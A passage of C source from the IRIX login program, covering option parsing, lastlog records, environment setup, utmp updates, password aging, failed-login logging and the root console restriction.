2245 _getpwent_no_shadow = 1;
2246 pw = getpwnam(lusername);
2247 _getpwent_no_shadow = 0;
2248 if (pw == NULL)
2249 return -1;
2250 return(__ruserok_x(host, (pw->pw_uid == 0), rusername, lusername,
2251 pw->pw_uid, pw->pw_dir));
2252}
2253
2254/* ARGSUSED */
2255static void
2256getstr(char *buf, int cnt, char *err)
2257{
2258 char c;
2259
2260 do {
2261 if (read(0, &c, 1) != 1)
2262 exit(1);
2263 if (--cnt < 0) {
2264 buf[-1] = '\0';
2265 return;
2266 }
2267 *buf++ = c;
2268 } while (c != 0);
2269}
2270
2271static int
2272doremoteterm(char *term)
2273{
2274
2275 struct termio tp;
2276 register char *cp = strchr(term, '/');
2277 char *speed;
2278
2279 ioctl(0, TCGETA, &tp);
2280
2281 if (cp) {
2282 *cp++ = '\0';
2283 speed = cp;
2284 cp = strchr(speed, '/');
2285 if (cp)
2286 *cp++ = '\0';
2287 tp.c_ospeed = atoi(speed);
2288 }
2289 tp.c_lflag |= ISIG|ICANON|ECHO|ECHOE|ECHOK;
2290 tp.c_oflag |= OPOST|ONLCR;
2291 tp.c_iflag |= BRKINT|IGNPAR|ISTRIP|ICRNL|IXON;
2292 tp.c_cc[VEOL] = CEOL;
2293 tp.c_cc[VEOF] = CEOF;
2294
2295 return ioctl(0, TCSETA, &tp);
2296
2297}
2298
2299#endif /* EXECSH */
2300
2301/*
2302 * Procedure: get_options
2303 *
2304 * Notes: get_options parses the command line. It returns 0
2305 * if successful, -1 if failed.
2306*/
2307extern int _check_rhosts_file; /* used by ruserok */
2308
2309static int
2310get_options(int argc, char **argv)
2311{
2312 int c;
2313 int errflg = 0;
2314
2315 while ((c = getopt(argc, argv, "d:r:R:h:t:u:l:s:M:U:S:p")) != -1) {
2316 switch (c) {
2317#ifdef EXECSH
2318 /*
2319 * XXX The (IRIX/BSD login) -p option tells login not to
2320 * destroy the environment. But SVR4 login has a -p option
2321 * for calling "/usr/bin/passwd". Currently the SVR4 -p
2322 * option is not supported on the commmand line. If and
2323 * when support is added/required, the current -p should
2324 * be changed to something like "-P" and client applications
2325 * (telnetd, 4DDN sethostd) must be changed.
2326 */
2327 case 'p':
2328 pflag++;
2329 break;
2330 case 't':
2331 strncpy(terminal, optarg, sizeof(terminal)-1);
2332 break;
2333 case 'r':
2334 case 'R':
2335 _check_rhosts_file = c == 'r' ? 1 : 0;
2336 if (hflag || rflag) {
2337 pfmt(stderr, MM_ERROR,
2338 ":310:Only one of -r and -h allowed\n");
2339 exit(1);
2340 }
2341 rflag_set = ++rflag;
2342 strncpy (remotehost, optarg, sizeof(remotehost)-1);
2343 break;
2344 case 'h':
2345 if (hflag || rflag) {
2346 pfmt(stderr, MM_ERROR,
2347 ":310:Only one of -r and -h allowed\n");
2348 exit(1);
2349 }
2350 hflag++;
2351 strncpy (remotehost, optarg, sizeof(remotehost)-1);
2352 break;
2353#else /* !EXECSH */
2354 /*
2355 * no need to continue login since the -r option
2356 * is not allowed.
2357 */
2358 case 'r':
2359 return -1;
2360 /*
2361 * the ability to specify the -d option at the "login: "
2362 * prompt with an argument is still supported however it
2363 * has no effect.
2364 */
2365#endif /* EXECSH */
2366 case 'd':
2367 /* ignore the following options for IAF reqts */
2368 case 'u':
2369 case 'l':
2370 case 's':
2371 case 'M':
2372 case 'U':
2373 case 'S':
2374 break;
2375 default:
2376 errflg++;
2377 break;
2378 } /* end switch */
2379 } /* end while */
2380 if (errflg)
2381 return -1;
2382 return 0;
2383}
2384
2385
2386/*
2387 * Procedure: usage
2388 *
2389 * Notes: prints the usage message.
2390*/
2391static void
2392usage(void)
2393{
2394 pfmt(stderr, MM_ACTION,
2395 ":670:Usage: login [[ -p ] name [ env-var ... ]]\n");
2396}
2397
2398
2399
2400
2401/*
2402 * Procedure: do_lastlog
2403 *
2404 * Notes: gets the information for the last time the user logged
2405 * on and also sets up the information for this login
2406 * session so it can be reported at a subsequent login.
2407 * The original code does this in a file indexed by uid.
2408 * This works badly on efs since hole-y files are not supported,
2409 * so the cypress scheme is implemented by default.
2410 */
2411static int
2412do_lastlog(struct utmpx *utmp)
2413{
2414 int fd1,
2415 lastlogok = 0,
2416 exists;
2417 long ia_inact;
2418 struct stat f_buf;
2419 struct lastlog newll;
2420 char *fname;
2421 cap_t ocap;
2422 cap_value_t cap_mac_grade[] = {CAP_MAC_DOWNGRADE, CAP_MAC_UPGRADE};
2423 cap_value_t capv;
2424
2425 exists = stat(LASTLOG, &f_buf) == 0;
2426 if (exists && !S_ISDIR(f_buf.st_mode)) {
2427 unlink(LASTLOG);
2428 exists = 0;
2429 }
2430 if (!exists) {
2431 (void) mkdir(LASTLOG, 0);
2432 (void) chmod(LASTLOG, S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);
2433 (void) stat(LASTLOG, &f_buf);
2434 }
2435 if (!S_ISDIR(f_buf.st_mode))
2436 return 0;
2437
2438 fname = (char *)malloc(strlen(LASTLOG) + strlen(utmp->ut_user) + 1);
2439 if (!fname)
2440 return 0;
2441 sprintf(fname, "%s/%s", LASTLOG, utmp->ut_user);
2442 if (stat(fname, &f_buf) < 0) {
2443 capv = CAP_MAC_WRITE, ocap = cap_acquire (1, &capv);
2444 (void) close(creat(fname, (mode_t) 0));
2445 cap_surrender (ocap);
2446 (void) chmod(fname, (S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH));
2447
2448 if (sysconf (_SC_MAC) > 0) {
2449 mac_t dblow_label = mac_from_text ("dblow");
2450
2451 if (dblow_label == NULL) {
2452 free(fname);
2453 return 0;
2454 }
2455
2456 ocap = cap_acquire(2, cap_mac_grade);
2457 if (mac_set_file (fname, dblow_label) == -1) {
2458 cap_surrender(ocap);
2459 mac_free(dblow_label);
2460 free(fname);
2461 return 0;
2462 }
2463 cap_surrender(ocap);
2464 mac_free(dblow_label);
2465 }
2466 }
2467 capv = CAP_MAC_WRITE, ocap = cap_acquire (1, &capv);
2468 if ((fd1 = open(fname, O_RDWR)) < 0) {
2469 cap_surrender (ocap);
2470 free(fname);
2471 return 0;
2472 }
2473 cap_surrender (ocap);
2474 free(fname);
2475 (void) fstat(fd1, &f_buf);
2476 if (!S_ISREG(f_buf.st_mode))
2477 return 0;
2478 switch (f_buf.st_size) {
2479 case 0:
2480 break;
2481 case sizeof(ll):
2482 if (read(fd1, (char *)&ll, sizeof(ll)) == sizeof(ll) &&
2483 ll.ll_time != 0)
2484 lastlogok = 1;
2485 break;
2486 case sizeof(struct lastlog4): {
2487 struct lastlog4 ll4;
2488
2489 if (read(fd1, (char *)&ll4, sizeof(ll4)) == sizeof(ll4) &&
2490 ll4.ll_time != 0 && ll4.ll_status) {
2491 lastlogok = 1;
2492 ll.ll_time = ll4.ll_time;
2493 /* line & host smaller than current */
2494 strncpy(ll.ll_line, ll4.ll_line, sizeof(ll4.ll_line)-1);
2495 strncpy(ll.ll_host, ll4.ll_host, sizeof(ll4.ll_host)-1);
2496 ll.ll_level = 0;
2497 }
2498 ftruncate(fd1, 0L);
2499 break;
2500 }
2501 case sizeof(struct lastlog5a): {
2502 struct lastlog5a ll5a;
2503
2504 if (read(fd1, (char *)&ll5a, sizeof(ll5a)) == sizeof(ll5a) &&
2505 ll5a.ll_time != 0) {
2506 lastlogok = 1;
2507 ll.ll_time = ll5a.ll_time;
2508 /* line & host smaller than current */
2509 strncpy(ll.ll_line, ll5a.ll_line, sizeof(ll5a.ll_line)-1);
2510 strncpy(ll.ll_host, ll5a.ll_host, sizeof(ll5a.ll_host)-1);
2511 ll.ll_level = ll5a.ll_level;
2512 }
2513 ftruncate(fd1, 0L);
2514 break;
2515 }
2516 default:
2517 ftruncate(fd1, 0L);
2518 break;
2519 }
2520
2521 (void) lseek(fd1, 0, 0);
2522 (void) time(&newll.ll_time);
2523 if (utmp->ut_host[0])
2524 SCPYN(newll.ll_line, rusername);
2525 else
2526 SCPYN(newll.ll_line, (rttyn + sizeof("/dev/")-1));
2527 SCPYN(newll.ll_host, remotehost);
2528
2529 /* Check for login inactivity */
2530
2531 ia_get_loginact(uinfo, &ia_inact);
2532 if ((ia_inact > 0) && ll.ll_time)
2533 if((( ll.ll_time / DAY ) + ia_inact) < DAY_NOW ) {
2534 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
2535 ia_audit("LOGIN", u_name, 0,
2536 "Account inactive too long");
2537 cap_surrender(ocap);
2538 pfmt(stderr, MM_ERROR|MM_NOGET,
2539 gettxt(incorrectmsgid, incorrectmsg));
2540 (void) close(fd1);
2541 exit(1);
2542 }
2543
2544 (void) write(fd1, (char * )&newll, sizeof(newll));
2545 (void) close(fd1);
2546
2547 return lastlogok;
2548}
2549
2550
2551/*
2552 * Procedure: setup_environ
2553 *
2554 * Restrictions:
2555 * access(2): None
2556 *
2557 * Notes: Set up the basic environment for the exec. This
2558 * includes HOME, PATH, LOGNAME, SHELL, TERM, HZ, TZ,
2559 * and MAIL.
2560*/
2561static void
2562setup_environ(char **envp, char **renvp, char *dirp, char **shellp)
2563{
2564 static int basicenv;
2565 static char envblk[MAXENV];
2566 register int i, j, k,
2567 l_index, length;
2568 char *ptr, *endptr;
2569
2570 /*
2571 * login will only set the environment variable "TERM" if it
2572 * already exists in the environment. This allows features
2573 * such as doconfig with the port monitor to work correctly
2574 * if an administrator specifies a particular terminal for a
2575 * particular port.
2576 *
2577 */
2578#ifdef EXECSH
2579 if (terminal[0] != '\0') { /* from -r or -t option */
2580 (void) strcat(term, "TERM=");
2581 ENVSTRNCAT(term, terminal)
2582 } else
2583#endif /* EXECSH */
2584 {
2585 if (!Def_term || !*Def_term) {
2586 if ((Def_term = getenv("TERM")) != NULL) {
2587 (void) strcpy(term, "TERM=");
2588 ENVSTRNCAT(term, Def_term);
2589 }
2590 } else {
2591 (void) strcpy(term, "TERM=");
2592 ENVSTRNCAT(term, Def_term);
2593 }
2594 }
2595
2596 if (!Def_hertz || !*Def_hertz) {
2597 if ((Def_hertz = getenv("HZ")) != NULL) {
2598 ENVSTRNCAT(hertz, Def_hertz);
2599 } else
2600 (void) strcat(hertz, DEF_HZ);
2601 } else {
2602 ENVSTRNCAT(hertz, Def_hertz);
2603 }
2604
2605 {
2606 int fd;
2607 char *nlp, uhlang[MAXPATHLEN + 7];
2608
2609 if( !Def_lang || !*Def_lang)
2610 (void)strcat(lang, DEF_LANG);
2611 else {
2612 ENVSTRNCAT(lang, Def_lang);
2613 }
2614
2615 /*
2616 * .lang overwrites all LANG settings
2617 * but not those from username args
2618 */
2619 (void)strncpy(uhlang, dirp, MAXPATHLEN);
2620 (void)strcat(uhlang, LANG_FILE);
2621 if((fd = open(uhlang, O_RDONLY)) >= 0) {
2622 int nrd;
2623 if((nrd=read(fd, uhlang, NL_LANGMAX + 2)) > 0) {
2624 if(nlp = strchr(uhlang, '\n'))
2625 *nlp = 0;
2626 else uhlang[nrd]= 0;
2627 uhlang[NL_LANGMAX] = 0;
2628 (void)strcpy(lang, "LANG=");
2629 ENVSTRNCAT(lang, uhlang);
2630 }
2631 (void)close(fd);
2632 }
2633 }
2634
2635 {
2636 int fd;
2637 char *nlp, uhtz[MAXPATHLEN + 11];
2638
2639 /*
2640 * .timezone overwrites all LANG settings
2641 * but not those from username args
2642 */
2643 (void)strncpy(uhtz, dirp, MAXPATHLEN);
2644 (void)strcat(uhtz, TZ_FILE);
2645 if((fd = open(uhtz, O_RDONLY)) >= 0) {
2646 int nrd;
2647 /* -4 to leave space for NUL and "TZ=" */
2648 if((nrd=read(fd, uhtz, sizeof(timez) - 4)) > 0) {
2649 if(nlp = strchr(uhtz, '\n'))
2650 *nlp = 0;
2651 else uhtz[nrd]= 0;
2652 uhtz[sizeof(timez)-4] = 0;
2653 (void)strcpy(timez, "TZ=");
2654 ENVSTRNCAT(timez, uhtz);
2655 putenv(timez);
2656 }
2657 (void)close(fd);
2658 }
2659 }
2660
2661 if (ia_uid == 0) {
2662 if (!(Def_path = Def_supath) || !*Def_path)
2663 Def_path = DEF_SUPATH;
2664 } else {
2665 if (!Def_path || !*Def_path)
2666 Def_path = DEF_PATH;
2667 }
2668
2669 ENVSTRNCAT(path, Def_path);
2670
2671 ENVSTRNCAT(home, dirp);
2672 ENVSTRNCAT(user, u_name);
2673 ENVSTRNCAT(logname, u_name);
2674
2675 /* Find the end of the basic environment */
2676
2677 for (basicenv = 0; envinit[basicenv] != NULL; basicenv++);
2678
2679 if (*shellp[0] == '\0') {
2680 /*
2681 * If possible, use the primary default shell,
2682 * otherwise, use the secondary one.
2683 */
2684 if (access(SHELL, X_OK) == 0)
2685 *shellp = SHELL;
2686 else
2687 *shellp = SHELL2;
2688
2689 } else
2690 if (Altshell && *Altshell &&
2691 strncasecmp(Altshell, "YES", 3) == 0)
2692 envinit[basicenv++] = shell;
2693
2694 ENVSTRNCAT(shell, *shellp);
2695
2696 if (remotehost[0] != '\0') { /* install remote host name */
2697 envinit[basicenv++] = env_remotehost;
2698 ENVSTRNCAT(env_remotehost,remotehost);
2699 }
2700 else if (0 != (ptr=getenv("REMOTEHOST")))
2701 envinit[basicenv++]=strncat(env_remotehost,ptr,MAXHOSTNAMELEN);
2702 if (rusername[0] != '\0') { /* and remote user name */
2703 envinit[basicenv++] = env_remotename;
2704 ENVSTRNCAT(env_remotename,rusername);
2705 }
2706 else if (0 != (ptr=getenv("REMOTEUSER")))
2707 envinit[basicenv++] = strncat(env_remotename,ptr,NMAX);
2708 else envinit[basicenv++] = strcat(env_remotename, "UNKNOWN");
2709
2710#ifndef NO_MAIL
2711 envinit[basicenv++] = mail;
2712 (void) strcat(mail,_PATH_MAILDIR);
2713 ENVSTRNCAT(mail,u_name);
2714#endif
2715
2716#ifdef DCE
2717 if (dfs_authentication) {
2718 envinit[basicenv++] = dce_tktfile;
2719 ENVSTRNCAT(dce_tktfile, getenv("KRB5CCNAME"));
2720 }
2721#endif /* DCE */
2722
2723#ifdef EXECSH
2724 /*
2725 * Add/replace environment variables from telnetd.
2726 */
2727 if (pflag && renvp != NULL) {
2728 for (j=0; *renvp && j < MAXARGS-1; j++,renvp++) {
2729
2730 /*
2731 * Ignore if it doesn't have the format xxx=yyy
2732 * or it is not an alterable variable.
2733 */
2734
2735 if ((endptr = strchr(*renvp,'=')) == NULL ||
2736 !legalenvvar(*renvp))
2737 continue;
2738
2739 /*
2740 * Replace any previously-defined string or
2741 * append it to the list.
2742 */
2743
2744 length = endptr + 1 - *renvp;
2745 for (i = 0; i < basicenv; i++) {
2746 if (!strncmp(*renvp, envinit[i], length)) {
2747 envinit[i] = *renvp;
2748 break;
2749 }
2750 }
2751 if (i == basicenv)
2752 envinit[basicenv++] = *renvp;
2753 }
2754 }
2755
2756
2757#endif /* EXECSH */
2758
2759 /*
2760 * Add in all the environment variables picked up from the
2761 * argument list to "login" or from the user response to the
2762 * "login" request.
2763 */
2764
2765 for (j = 0,k = 0,l_index = 0,ptr = &envblk[0]; *envp && j < (MAXARGS-1);
2766 j++, envp++) {
2767
2768 /* Scan each string provided. If it doesn't have the format */
2769 /* xxx=yyy, then add the string "Ln=" to the beginning. */
2770
2771 if ((endptr = strchr(*envp,'=')) == (char*)NULL) {
2772 envinit[basicenv+k] = ptr;
2773 (void) snprintf(ptr, (int)MAXENV, "L%d=%s",l_index,*envp);
2774
2775 /* Advance "ptr" to the beginning of the next argument. */
2776
2777 while(*ptr++);
2778 k++;
2779 l_index++;
2780 }
2781
2782 /* Is this an environmental variable we permit? */
2783
2784 else if (!legalenvvar(*envp))
2785 continue;
2786
2787 /* Check to see whether this string replaces any previously- */
2788 /* defined string. */
2789
2790 else {
2791 for (i = 0, length = endptr+1-*envp; i < basicenv+k; i++ ) {
2792 if (strncmp(*envp, envinit[i], length) == 0) {
2793 envinit[i] = *envp;
2794 break;
2795 }
2796 }
2797
2798 /* If it doesn't, place it at the end of environment array. */
2799
2800 if (i == basicenv+k) {
2801 envinit[basicenv+k] = *envp;
2802 k++;
2803 }
2804 }
2805 }
2806#ifdef EXECSH
2807 environ = envinit;
2808#endif /* EXECSH */
2809 (void)set_lang(envinit);
2810}
2811
2812
2813/*
2814 * Procedure: pr_msgs
2815 *
2816 *
2817 * Notes: prints any advisory messages such as the Copyright
2818*/
2819static void
2820pr_msgs(int lastlog_msg)
2821{
2822 struct utsname un;
2823
2824#ifndef sgi
2825 (void) alarm(0);
2826#endif
2827
2828 (void) signal(SIGQUIT, SIG_DFL);
2829 (void) signal(SIGINT, SIG_DFL);
2830 (void) nuname(&un);
2831
2832 pfmt(stdout, MM_NOSTD,
2833 "uxsgicore:704:IRIX Release %s %s %s\n\
2834Copyright 1987-1999 Silicon Graphics, Inc. All Rights Reserved.\n",
2835 un.release, un.machine, un.nodename);
2836
2837 /*
2838 * Advise the user the time and date that this login-id
2839 * was last used.
2840 */
2841
2842 if (lastlog_msg && (access(".hushlogin", F_OK) != 0)) {
2843 char timebuf[256];
2844 int size;
2845 struct tm *ltime;
2846
2847 ltime = localtime(&ll.ll_time);
2848 size = strftime(timebuf, sizeof(timebuf), "%KC", ltime);
2849
2850 if (ll.ll_host[0] && ll.ll_line[0])
2851 pfmt(stdout, MM_NOSTD,
2852 ":748:Last login: %.*s by %.*s@%.*s\n",
2853 size, timebuf, sizeof(ll.ll_line), ll.ll_line,
2854 sizeof(ll.ll_host), ll.ll_host);
2855 else if (ll.ll_host[0])
2856 pfmt(stdout, MM_NOSTD,
2857 ":329:Last login: %.*s from %.*s\n",
2858 size, timebuf, sizeof(ll.ll_host), ll.ll_host);
2859 else
2860 pfmt(stdout, MM_NOSTD,
2861 ":330:Last login: %.*s on %.*s\n",
2862 size, timebuf, sizeof(ll.ll_line), ll.ll_line);
2863 }
2864}
2865
2866
2867/*
2868 * Procedure: update_utmp
2869 *
2870 * Restrictions:
2871 * pututxline: None
2872 * getutxent: P_MACREAD
2873 * updwtmpx: P_MACREAD
2874 *
2875 * Notes: updates the utmpx and wtmpx files.
2876*/
2877static void
2878update_utmp(struct utmpx *utmp)
2879{
2880 register struct utmpx *u;
2881 cap_t ocap;
2882 cap_value_t caps[] = {CAP_DAC_WRITE, CAP_MAC_WRITE};
2883
2884 (void) time(&utmp->ut_tv.tv_sec);
2885#ifdef EXECSH
2886 utmp->ut_pid = getpid();
2887#else
2888 utmp->ut_pid = getppid();
2889#endif /* EXECSH */
2890
2891 /*
2892 * Find the entry for this pid in the utmp file.
2893 */
2894
2895 ocap = cap_acquire (2, caps);
2896 while ((u = getutxent()) != NULL) {
2897 if (((u->ut_type == INIT_PROCESS ||
2898 u->ut_type == LOGIN_PROCESS) &&
2899 (u->ut_pid == utmp->ut_pid)) ||
2900 ((u->ut_type == USER_PROCESS) &&
2901 ((u->ut_pid == utmp->ut_pid) ||
2902 !strncmp(u->ut_line,basename(ttyn),
2903 sizeof(u->ut_line))))) {
2904
2905 /* Copy in the name of the tty minus the "/dev/", the id, and set */
2906 /* the type of entry to USER_PROCESS. */
2907 SCPYN(utmp->ut_line,(ttyn + sizeof("/dev/")-1));
2908 utmp->ut_id[0] = u->ut_id[0];
2909 utmp->ut_id[1] = u->ut_id[1];
2910 utmp->ut_id[2] = u->ut_id[2];
2911 utmp->ut_id[3] = u->ut_id[3];
2912 utmp->ut_type = USER_PROCESS;
2913
2914 /* Write the new updated utmp file entry. */
2915
2916 pututxline(utmp);
2917 break;
2918 }
2919 }
2920 endutxent(); /* Close utmp file */
2921 cap_surrender (ocap);
2922
2923 if (u == (struct utmpx *)NULL) {
2924#ifndef EXECSH
2925 cap_value_t capv = CAP_AUDIT_WRITE;
2926 ocap = cap_acquire (1, &capv);
2927 ia_audit("LOGIN", u_name, 0,
2928 "cannot execute login at shell level");
2929 cap_surrender(ocap);
2930 pfmt(stderr, MM_ERROR, ":666:cannot execute login at shell level.\n");
2931 exit(1);
2932#endif /* EXECSH */
2933 }
2934 else {
2935 /*
2936 * Now attempt to write out this entry to the wtmp file
2937 * if we were successful in getting it from the utmp file
2938 * and the wtmp file exists.
2939 */
2940 ocap = cap_acquire (2, caps);
2941 updwtmpx(WTMPX_FILE, utmp);
2942 cap_surrender (ocap);
2943 }
2944
2945}
2946
2947
2948
2949/*
2950 * Procedure: verify_pwd
2951 *
2952 * Restrictions:
2953 * exec_pass(): none
2954 *
2955 * Notes: execute "/usr/bin/passwd" if passwords are required
2956 * for the system, the user does not have a password,
2957 * AND the user's NULL password can be changed accord-
2958 * ing to its password aging information.
2959 *
2960 * It also calls the program "/usr/bin/passwd" if the
2961 * "-p" flag is present on the input line indicating the
2962 * user wishes to modify their password.
2963*/
2964static void
2965verify_pwd(int nopass, uid_t priv_uid)
2966{
2967 time_t now;
2968 long ia_lstchg, ia_min,
2969 ia_max, ia_warn;
2970 register int n,
2971 paschg = 0;
2972 char *badpasswd = ":148:Cannot execute %s: %s\n";
2973 cap_t ocap;
2974 cap_value_t capv;
2975
2976#ifndef sgi
2977 (void) alarm(0); /*give user time to come up with new password */
2978#endif
2979
2980 now = DAY_NOW;
2981
2982 /* get the aging info */
2983
2984 ia_get_logmin(uinfo, &ia_min);
2985 ia_get_logmax(uinfo, &ia_max);
2986 ia_get_logchg(uinfo, &ia_lstchg);
2987 ia_get_logwarn(uinfo, &ia_warn);
2988
2989 if((rflag && (usererr == -1)) || !rflag){
2990 if (nopass && (ia_uid != priv_uid)) {
2991 if (Passreq && *Passreq &&
2992 !strncasecmp("YES", Passreq, 3) &&
2993 ((ia_max == -1) || (ia_lstchg > now) ||
2994 ((now >= ia_lstchg + ia_min) &&
2995 (ia_max >= ia_min)))) {
2996 pfmt(stderr, MM_ERROR,
2997 ":322:You don't have a password.\n");
2998 pfmt(stderr, MM_ACTION, ":323:Choose one.\n");
2999 (void) fflush(stderr);
3000 n = exec_pass(u_name);
3001 if (n > 0) {
3002 exit(9);
3003 }
3004 if (n < 0) {
3005 pfmt(stderr, MM_ERROR, badpasswd,
3006 ia_pwdpgm, strerror(errno));
3007 exit(9);
3008 }
3009 paschg = 1;
3010 ia_lstchg = now;
3011 }
3012 }
3013 }
3014
3015 /* Is the age of the password to be checked? */
3016
3017 if ((ia_lstchg == 0) ||
3018 (ia_lstchg > now) ||
3019 ((ia_max >= 0) && (now > (ia_lstchg + ia_max)) && (ia_max >= ia_min))) {
3020 /* don't make the idleweeks tests if last change == 0, which happens when
3021 * the admin expires the passwd via passwd -f (bug fix)
3022 */
3023 if ((ia_lstchg != 0) &&
3024 ((Idleweeks == 0) ||
3025 ((Idleweeks > 0) && (now > (ia_lstchg + (7 * Idleweeks)))))) {
3026 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
3027 ia_audit("LOGIN", u_name, 0,
3028 "password has been expired for too long");
3029 cap_surrender(ocap);
3030 pfmt(stderr, MM_ERROR,
3031 ":324:Your password has been expired for too long\n");
3032 pfmt(stderr, MM_ACTION,
3033 ":133:Consult your system administrator\n");
3034 exit(1);
3035 }
3036 else {
3037 pfmt(stderr, MM_ERROR, ":325:Your password has expired.\n");
3038 pfmt(stderr, MM_ACTION, ":326:Choose a new one\n");
3039 n = exec_pass(u_name);
3040 if (n > 0) {
3041 exit(9);
3042 }
3043 if (n < 0) {
3044 pfmt(stderr, MM_ERROR, badpasswd, ia_pwdpgm,
3045 strerror(errno));
3046 exit(9);
3047 }
3048 }
3049 paschg = 1;
3050 ia_lstchg = now;
3051 }
3052
3053 if (pwflag) {
3054 if (!paschg) {
3055 n = exec_pass(u_name);
3056 if (n > 0)
3057 pfmt(stderr, MM_WARNING, ":677:Password unchanged\n");
3058 if (n < 0)
3059 pfmt(stderr, MM_WARNING, badpasswd, ia_pwdpgm,
3060 strerror(errno));
3061 }
3062 ia_lstchg = now;
3063 }
3064 /* Warn user that password will expire in n days */
3065
3066 if ((ia_warn > 0) && (ia_max > 0) &&
3067 (now + ia_warn) >= (ia_lstchg + ia_max)) {
3068
3069 int xdays = (ia_lstchg + ia_max) - now;
3070
3071 if (xdays) {
3072 if (xdays == 1)
3073 (void) pfmt(stderr, MM_INFO,
3074 ":678:Your password will expire in 1 day\n");
3075 else
3076 (void) pfmt(stderr, MM_INFO,
3077 ":327:Your password will expire in %d days\n", xdays);
3078 }
3079 else {
3080 pfmt(stderr, MM_ERROR, ":325:Your password has expired.\n");
3081 pfmt(stderr, MM_ACTION, ":326:Choose a new one\n");
3082 n = exec_pass(u_name);
3083 if (n > 0) {
3084 exit(9);
3085 }
3086 if (n < 0) {
3087 pfmt(stderr, MM_ERROR, badpasswd, ia_pwdpgm,
3088 strerror(errno));
3089 exit(9);
3090 }
3091 paschg = 1;
3092 }
3093 }
3094}
3095
3096
3097
3098
3099/*
3100 * Procedure: init_badtry
3101 *
3102 * Restrictions:
3103 * stat(2): none
3104 *
3105 * Notes: if the logfile exist, turn on attempt logging and
3106 * initialize the string storage area.
3107*/
3108static int
3109init_badtry(char **log_entry)
3110{
3111 register int i, dolog = 0;
3112 struct stat dbuf;
3113
3114 if (stat(LOGINLOG, &dbuf) == 0) {
3115 dolog = 1;
3116 for (i = 0; i < Def_failures; i++) {
3117 if (!(log_entry[i] = (char *) malloc((unsigned)ENT_SIZE))) {
3118 dolog = 0 ;
3119 break ;
3120 }
3121 *log_entry[i] = '\0';
3122 }
3123 }
3124 return dolog;
3125}
3126
3127
3128/*
3129 * Procedure: logbadtry
3130 *
3131 * Notes: Writes the failed login attempt to the storage area.
3132*/
3133static void
3134logbadtry(int trys, char **log_entry)
3135{
3136 long timenow;
3137
3138 if (trys && (trys <= Def_failures)) {
3139 (void) time(&timenow);
3140 (void) strncat(log_entry[trys-1], u_name, LNAME_SIZE);
3141 (void) strncat(log_entry[trys-1], ":", (size_t) 1);
3142 (void) strncat(log_entry[trys-1], rttyn, TTYN_SIZE);
3143 (void) strncat(log_entry[trys-1], ":", (size_t) 1);
3144 (void) strncat(log_entry[trys-1], ctime(&timenow), TIME_SIZE);
3145 }
3146}
3147
3148
3149/*
3150 * Procedure: on_console
3151 *
3152 * Notes: If the "priv_uid" is equal to the user's uid, the login
3153 * will be disallowed if the user is NOT on the system
3154 * console.
3155*/
3156static int
3157on_console(uid_t priv_uid)
3158{
3159 cap_t ocap;
3160 cap_value_t capv;
3161
3162 if (ia_uid == priv_uid) {
3163 if (Console && *Console && (strcmp(rttyn, Console) != 0)) {
3164 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
3165 ia_audit("LOGIN", u_name, 0,
3166 "Root login on other than system console");
3167 cap_surrender(ocap);
3168 return 0;
3169 }
3170 if (Def_supath && *Def_supath)
3171 Def_path = Def_supath;
3172 else
3173 Def_path = DEF_SUPATH;
3174 }
3175 return 1;
3176}
3177
3178
3179/*
3180 * Procedure: read_pass
3181 *
3182 * Notes: gets user password and checks if MANDPASS is required.
3183 * returns 1 on failure, 0 on success.
3184*/
3185static int
3186read_pass(uid_t priv_uid, int *nopass)
3187{
3188 char *ia_pwdp,
3189 *pwdmsgid = ":308",
3190 *pwdmsg = "Password:";
3191 int mandatory = 0;
3192 cap_t ocap;
3193 cap_value_t capv;
3194
3195 ia_get_logpwd(uinfo, &ia_pwdp);
3196
3197 /*
3198 * if the user doesn't have a password check if the privilege
3199 * mechanism is ID-based. If so, its OK for a privileged user
3200 * not to have a password.
3201 *
3202 * If, however, the MANDPASS flag is set and this user doesn't
3203 * have a password, set a flag and continue on to get the
3204 * user's password. Otherwise, return success because its OK
3205 * not to have a password.
3206 */
3207 if (*ia_pwdp == '\0') {
3208 if (ia_uid == priv_uid)
3209 return 0;
3210 if (Mandpass && *Mandpass &&
3211 !strncasecmp("YES", Mandpass, 3)) {
3212 mandatory = 1;
3213 }
3214 else {
3215 return 0;
3216 }
3217 }
3218#ifdef DCE
3219 dfs_authentication = 0;
3220 if (strcmp(ia_pwdp,"-DCE-") == 0) {
3221 void *handle=NULL;
3222 /*
3223 * Try to load the DCE library and ensure that
3224 * dce_verify exists.
3225 */
3226 if (handle=sgidladd("libdce.so",RTLD_LAZY)) {
3227 if (dlsym(handle,"dce_verify")) {
3228 dfs_authentication = 1;
3229 } else {
3230 capv = CAP_AUDIT_WRITE;
3231 ocap = cap_acquire (1, &capv);
3232 ia_audit("LOGIN", u_name, 0,
3233 "DCE integrated login failed, incorrect DCE library");
3234 cap_surrender(ocap);
3235 }
3236 } else {
3237 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
3238 ia_audit("LOGIN", u_name, 0,
3239 "DCE integrated login failed, unable to load DCE library");
3240 cap_surrender(ocap);
3241 }
3242 }
3243#endif /* DCE */
3244 /*
3245 * get the user's password, turning off echoing.
3246 */
3247 if (gpass(gettxt(pwdmsgid, pwdmsg), ia_pwdp, priv_uid)) {
3248 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
3249 ia_audit("LOGIN", u_name, 0, "Invalid password");
3250 cap_surrender(ocap);
3251 return 1;
3252 }
3253 /*
3254 * Doesn't matter if the user entered No password. Since MANDPASS
3255 * was set, make it look like a bad login attempt.
3256 */
3257 if (mandatory) {
3258 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
3259 ia_audit("LOGIN", u_name, 0,
3260 "Passwords are mandatory, but this account has none");
3261 cap_surrender(ocap);
3262 return 1;
3263 }
3264 /*
3265 * everything went fine, so indicate that the user had a password
3266 * and return success.
3267 */
3268 else {
3269 *nopass = 0;
3270 return 0;
3271 }
3272}
3273
3274
3275/*
3276 * Procedure: get_logoffval
3277 *
3278 * Notes: The following is taken directly from the SVR4.1 require-
3279 * ments relating to the functionality of the MAXTRYS and
3280 * LOGFAILURES tuneables:
3281 *
3282 * 1. Users will be allowed LOGFAILURES (will be set to 5)
3283 * attempts to successfully log in at each invocation of
3284 * login.
3285 *
